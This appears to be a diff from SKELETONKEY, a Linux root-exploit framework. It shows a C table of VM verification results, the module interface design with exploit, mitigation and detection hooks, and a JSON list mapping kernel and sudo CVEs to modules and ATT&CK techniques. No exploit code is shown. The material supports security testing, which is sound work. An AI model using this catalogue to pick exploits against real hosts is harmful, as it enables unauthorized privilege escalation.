||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "dirty_pipe",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "OK",
|
||||
.actual_detect = "OK",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "dirtydecrypt",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "6.19.7-061907-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "entrybleed",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "fuse_legacy",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "netfilter_xtcompat",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nf_tables",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_fwd_dup",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_payload",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-43-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_pipapo",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_set_uaf",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "overlayfs",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "overlayfs_setuid",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "pack2theroot",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "6.1.0-17-amd64",
|
||||
.host_distro = "Debian GNU/Linux 12 (bookworm)",
|
||||
.vm_box = "generic/debian12",
|
||||
.expect_detect = "PRECOND_FAIL",
|
||||
.actual_detect = "PRECOND_FAIL",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "ptrace_traceme",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "pwnkit",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sequoia",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "stackrot",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "6.1.10-060110-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_chwoot",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_runas_neg1",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_samedit",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudoedit_editor",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "PRECOND_FAIL",
|
||||
.actual_detect = "PRECOND_FAIL",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "tioscpgrp",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.4.0-26-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "udisks_libblockdev",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "6.1.0-17-amd64",
|
||||
.host_distro = "Debian GNU/Linux 12 (bookworm)",
|
||||
.vm_box = "generic/debian12",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "refluxfs",
|
||||
.verified_at = "2026-07-23",
|
||||
.host_kernel = "5.14.0-687.10.1.el9_8.0.1.x86_64",
|
||||
.host_distro = "Rocky Linux 9.8 (Blue Onyx)",
|
||||
.vm_box = "rockylinux/9",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "dirty_cow",
|
||||
.verified_at = "2026-07-24",
|
||||
.host_kernel = "4.8.0-040800-generic",
|
||||
.host_distro = "Ubuntu 16.04.7 LTS",
|
||||
.vm_box = "ubuntu/xenial64+mainline-4.8.0",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_host",
|
||||
.verified_at = "2026-07-24",
|
||||
.host_kernel = "5.15.0-25-generic",
|
||||
.host_distro = "Ubuntu 22.04 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t verifications_count =
|
||||
sizeof(verifications) / sizeof(verifications[0]);
|
||||
|
||||
const struct verification_record *
|
||||
verifications_for_module(const char *module, size_t *count_out)
|
||||
{
|
||||
if (count_out) *count_out = 0;
|
||||
if (!module) return NULL;
|
||||
const struct verification_record *first = NULL;
|
||||
size_t n = 0;
|
||||
for (size_t i = 0; i < verifications_count; i++) {
|
||||
if (strcmp(verifications[i].module, module) == 0) {
|
||||
if (first == NULL) first = &verifications[i];
|
||||
n++;
|
||||
}
|
||||
}
|
||||
if (count_out) *count_out = n;
|
||||
return first;
|
||||
}
|
||||
|
||||
bool verifications_module_has_match(const char *module)
|
||||
{
|
||||
size_t n = 0;
|
||||
const struct verification_record *r = verifications_for_module(module, &n);
|
||||
for (size_t i = 0; i < n; i++)
|
||||
if (r[i].status && strcmp(r[i].status, "match") == 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
/*
|
||||
* SKELETONKEY — per-module verification records
|
||||
*
|
||||
* "Verified-on" entries — concrete (distro, kernel, date) tuples where
|
||||
* tools/verify-vm/verify.sh has empirically confirmed a module's
|
||||
* detect() verdict against a known-vulnerable target. Each entry is one
|
||||
* row from docs/VERIFICATIONS.jsonl, auto-generated into the C table
|
||||
* by tools/refresh-verifications.py.
|
||||
*
|
||||
* Modules with >=1 record carry an empirical-trust badge ("✓ verified
|
||||
* on Ubuntu 20.04.6 / 5.4.0") in --list / --module-info / --explain
|
||||
* output. Modules with zero records are still tested at the unit level
|
||||
* (synthetic fingerprints), but have not yet been confirmed on a real
|
||||
* vulnerable kernel.
|
||||
*
|
||||
* Append-only by intent: each verify.sh run appends a fresh JSONL line
|
||||
* (timestamped); the refresh script dedupes to (module, vm_box,
|
||||
* kernel, expect_detect) when generating the C table so re-runs of the
|
||||
* same scenario update rather than accumulate.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_VERIFICATIONS_H
|
||||
#define SKELETONKEY_VERIFICATIONS_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
struct verification_record {
|
||||
const char *module; /* module name (matches struct skeletonkey_module.name) */
|
||||
const char *verified_at; /* "YYYY-MM-DD" (date-only; full timestamp truncated) */
|
||||
const char *host_kernel; /* uname -r value, e.g. "5.4.0-169-generic" */
|
||||
const char *host_distro; /* /etc/os-release PRETTY_NAME, e.g. "Ubuntu 20.04.6 LTS" */
|
||||
const char *vm_box; /* vagrant box name, e.g. "generic/ubuntu2004" */
|
||||
const char *expect_detect; /* "VULNERABLE" / "OK" / "PRECOND_FAIL" — what targets.yaml said */
|
||||
const char *actual_detect; /* what skeletonkey --explain returned */
|
||||
const char *status; /* "match" iff actual == expected; otherwise "MISMATCH" */
|
||||
};
|
||||
|
||||
extern const struct verification_record verifications[];
|
||||
extern const size_t verifications_count;
|
||||
|
||||
/* Returns the first record (count via *count_out) for the named module,
|
||||
* or NULL if the module has no recorded verifications. The records are
|
||||
* stored contiguously in the table, so once you have the pointer you
|
||||
* can iterate count_out entries forward. */
|
||||
const struct verification_record *
|
||||
verifications_for_module(const char *module, size_t *count_out);
|
||||
|
||||
/* True iff the module has at least one "match" record. */
|
||||
bool verifications_module_has_match(const char *module);
|
||||
|
||||
#endif /* SKELETONKEY_VERIFICATIONS_H */
|
||||
+54
-12
@@ -14,7 +14,7 @@ modules/<module_name>/
|
||||
├── MODULE.md # Human-readable writeup of the bug
|
||||
├── NOTICE.md # Credits to original researcher
|
||||
├── kernel-range.json # Machine-readable affected kernels
|
||||
├── module.c # Implements iamroot_module interface
|
||||
├── module.c # Implements skeletonkey_module interface
|
||||
├── module.h
|
||||
├── detect/
|
||||
│ ├── auditd.rules # blue team detection
|
||||
@@ -24,10 +24,10 @@ modules/<module_name>/
|
||||
└── tests/ # per-module tests (run in CI matrix)
|
||||
```
|
||||
|
||||
### `iamroot_module` interface (planned, Phase 1)
|
||||
### `skeletonkey_module` interface (planned, Phase 1)
|
||||
|
||||
```c
|
||||
struct iamroot_module {
|
||||
struct skeletonkey_module {
|
||||
const char *name; /* "copy_fail" */
|
||||
const char *cve; /* "CVE-2026-31431" */
|
||||
const char *summary; /* one-line description */
|
||||
@@ -35,29 +35,29 @@ struct iamroot_module {
|
||||
/* Return 1 if host appears vulnerable, 0 if patched/immune,
|
||||
* -1 if probe couldn't run. May call entrybleed_leak_kbase()
|
||||
* etc. from core/ if a leak primitive is needed. */
|
||||
int (*detect)(struct iamroot_host *host);
|
||||
int (*detect)(struct skeletonkey_host *host);
|
||||
|
||||
/* Run the exploit. Caller has already passed the
|
||||
* authorization gate. Returns 0 on root acquired,
|
||||
* nonzero on failure. */
|
||||
int (*exploit)(struct iamroot_host *host, struct iamroot_opts *opts);
|
||||
int (*exploit)(struct skeletonkey_host *host, struct skeletonkey_opts *opts);
|
||||
|
||||
/* Apply a runtime mitigation for this CVE (sysctl, module
|
||||
* blacklist, etc.). Returns 0 on success. NULL if no
|
||||
* mitigation is offered. */
|
||||
int (*mitigate)(struct iamroot_host *host);
|
||||
int (*mitigate)(struct skeletonkey_host *host);
|
||||
|
||||
/* Undo --exploit-backdoor or --mitigate side effects. */
|
||||
int (*cleanup)(struct iamroot_host *host);
|
||||
int (*cleanup)(struct skeletonkey_host *host);
|
||||
|
||||
/* Affected kernel version range, distros covered, etc. */
|
||||
const struct iamroot_kernel_range *ranges;
|
||||
const struct skeletonkey_kernel_range *ranges;
|
||||
size_t n_ranges;
|
||||
};
|
||||
```
|
||||
|
||||
Modules register themselves at link time via a constructor-attribute
|
||||
table. The top-level `iamroot` binary iterates the registry on each
|
||||
table. The top-level `skeletonkey` binary iterates the registry on each
|
||||
invocation.
|
||||
|
||||
## Shared `core/`
|
||||
@@ -78,11 +78,15 @@ Code that more than one module needs lives in `core/`:
|
||||
|
||||
## Top-level dispatcher
|
||||
|
||||
`iamroot.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
|
||||
`skeletonkey.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
|
||||
|
||||
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
|
||||
`--detect-rules`, `--cleanup`, etc.)
|
||||
2. Fingerprint the host
|
||||
2. **Fingerprint the host** — `core/host.c` is called once at startup
|
||||
to populate `struct skeletonkey_host` (kernel version + arch +
|
||||
distro + capability gates + service presence). The result is
|
||||
handed to every module via `ctx->host`. See "Host fingerprint"
|
||||
below.
|
||||
3. For `--scan`: iterate module registry, call each module's
|
||||
`detect()`, emit table of results
|
||||
4. For `--exploit <name>`: locate module, gate behind `--i-know`,
|
||||
@@ -90,6 +94,44 @@ Code that more than one module needs lives in `core/`:
|
||||
5. For `--detect-rules`: walk module registry, concatenate detection
|
||||
files in the requested format
|
||||
|
||||
## Host fingerprint (`core/host.{h,c}`)
|
||||
|
||||
A single `struct skeletonkey_host` is populated once at startup and
|
||||
exposed to every module via `ctx->host` (a stable pointer for the
|
||||
process lifetime). It carries:
|
||||
|
||||
- **Identity:** `struct kernel_version kernel` + arch + nodename +
|
||||
distro id/version/pretty (parsed from `/etc/os-release`).
|
||||
- **Process state:** euid, real_uid (defeats the userns illusion by
|
||||
reading `/proc/self/uid_map`), egid, username, is_root,
|
||||
is_ssh_session.
|
||||
- **Platform family:** is_linux, is_debian_family, is_rpm_family,
|
||||
is_arch_family, is_suse_family.
|
||||
- **Capability gates (Linux):** unprivileged_userns_allowed (live
|
||||
fork-probe), apparmor_restrict_userns, unprivileged_bpf_disabled,
|
||||
kpti_enabled, kernel_lockdown_active, selinux_enforcing,
|
||||
yama_ptrace_restricted.
|
||||
- **System services:** has_systemd, has_dbus_system.
|
||||
|
||||
Modules that want to consult the fingerprint do:
|
||||
|
||||
```c
|
||||
#include "../../core/host.h"
|
||||
/* ... */
|
||||
if (ctx->host && !ctx->host->unprivileged_userns_allowed)
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
if (ctx->host->kernel.major < 7)
|
||||
return SKELETONKEY_OK; /* predates the bug */
|
||||
```
|
||||
|
||||
The migration is opt-in per module — modules that don't `#include`
|
||||
host.h continue to do their own probes; modules that do save the
|
||||
duplicate work and get a consistent view across the whole scan.
|
||||
|
||||
`--auto` and `--scan` (in verbose mode) print a two-line banner of
|
||||
the fingerprint via `skeletonkey_host_print_banner()` so operators
|
||||
can see at a glance which gates are open.
|
||||
|
||||
## CI matrix
|
||||
|
||||
`.github/workflows/ci.yml` (planned, Phase 4) runs each module's
|
||||
@@ -109,7 +151,7 @@ the module).
|
||||
1. `git checkout -b add-cve-XXXX-NNNN`
|
||||
2. `cp -r modules/_stubs/_template modules/<module_name>`
|
||||
3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json`
|
||||
4. Implement `module.c` exposing the `iamroot_module` interface
|
||||
4. Implement `module.c` exposing the `skeletonkey_module` interface
|
||||
5. Ship at least one detection rule under `detect/`
|
||||
6. Add tests under `tests/`
|
||||
7. PR. CI runs the matrix. If it lands root on at least one
|
||||
|
||||
@@ -0,0 +1,371 @@
|
||||
[
|
||||
{
|
||||
"cve": "CVE-2016-5195",
|
||||
"module_dir": "dirty_cow_cve_2016_5195",
|
||||
"cwe": "CWE-362",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-03-03"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2017-7308",
|
||||
"module_dir": "af_packet_cve_2017_7308",
|
||||
"cwe": "CWE-681",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2018-14634",
|
||||
"module_dir": "mutagen_astronomy_cve_2018_14634",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2026-01-26"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2019-13272",
|
||||
"module_dir": "ptrace_traceme_cve_2019_13272",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2021-12-10"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2019-14287",
|
||||
"module_dir": "sudo_runas_neg1_cve_2019_14287",
|
||||
"cwe": "CWE-755",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2020-14386",
|
||||
"module_dir": "af_packet2_cve_2020_14386",
|
||||
"cwe": "CWE-250",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2020-29661",
|
||||
"module_dir": "tioscpgrp_cve_2020_29661",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-22555",
|
||||
"module_dir": "netfilter_xtcompat_cve_2021_22555",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-10-06"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-3156",
|
||||
"module_dir": "sudo_samedit_cve_2021_3156",
|
||||
"cwe": "CWE-193",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-04-06"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-33909",
|
||||
"module_dir": "sequoia_cve_2021_33909",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-3493",
|
||||
"module_dir": "overlayfs_cve_2021_3493",
|
||||
"cwe": "CWE-270",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-10-20"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-4034",
|
||||
"module_dir": "pwnkit_cve_2021_4034",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-06-27"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0185",
|
||||
"module_dir": "fuse_legacy_cve_2022_0185",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2024-08-21"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0492",
|
||||
"module_dir": "cgroup_release_agent_cve_2022_0492",
|
||||
"cwe": "CWE-287",
|
||||
"attack_technique": "T1611",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2026-06-02"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0847",
|
||||
"module_dir": "dirty_pipe_cve_2022_0847",
|
||||
"cwe": "CWE-665",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-04-25"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-25636",
|
||||
"module_dir": "nft_fwd_dup_cve_2022_25636",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-2588",
|
||||
"module_dir": "cls_route4_cve_2022_2588",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0179",
|
||||
"module_dir": "nft_payload_cve_2023_0179",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0386",
|
||||
"module_dir": "overlayfs_setuid_cve_2023_0386",
|
||||
"cwe": "CWE-282",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-06-17"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0458",
|
||||
"module_dir": "entrybleed_cve_2023_0458",
|
||||
"cwe": "CWE-476",
|
||||
"attack_technique": "T1082",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-2008",
|
||||
"module_dir": "vmwgfx_cve_2023_2008",
|
||||
"cwe": "CWE-129",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-22809",
|
||||
"module_dir": "sudoedit_editor_cve_2023_22809",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-32233",
|
||||
"module_dir": "nft_set_uaf_cve_2023_32233",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-3269",
|
||||
"module_dir": "stackrot_cve_2023_3269",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-4622",
|
||||
"module_dir": "af_unix_gc_cve_2023_4622",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-1086",
|
||||
"module_dir": "nf_tables_cve_2024_1086",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2024-05-30"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-26581",
|
||||
"module_dir": "nft_pipapo_cve_2024_26581",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-50264",
|
||||
"module_dir": "vsock_uaf_cve_2024_50264",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-32462",
|
||||
"module_dir": "sudo_host_cve_2025_32462",
|
||||
"cwe": "CWE-863",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-32463",
|
||||
"module_dir": "sudo_chwoot_cve_2025_32463",
|
||||
"cwe": "CWE-829",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-09-29"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-6019",
|
||||
"module_dir": "udisks_libblockdev_cve_2025_6019",
|
||||
"cwe": "CWE-250",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-23111",
|
||||
"module_dir": "nft_catchall_cve_2026_23111",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-31635",
|
||||
"module_dir": "dirtydecrypt_cve_2026_31635",
|
||||
"cwe": "CWE-130",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-41651",
|
||||
"module_dir": "pack2theroot_cve_2026_41651",
|
||||
"cwe": "CWE-367",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-43494",
|
||||
"module_dir": "pintheft_cve_2026_43494",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-43499",
|
||||
"module_dir": "ghostlock_cve_2026_43499",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
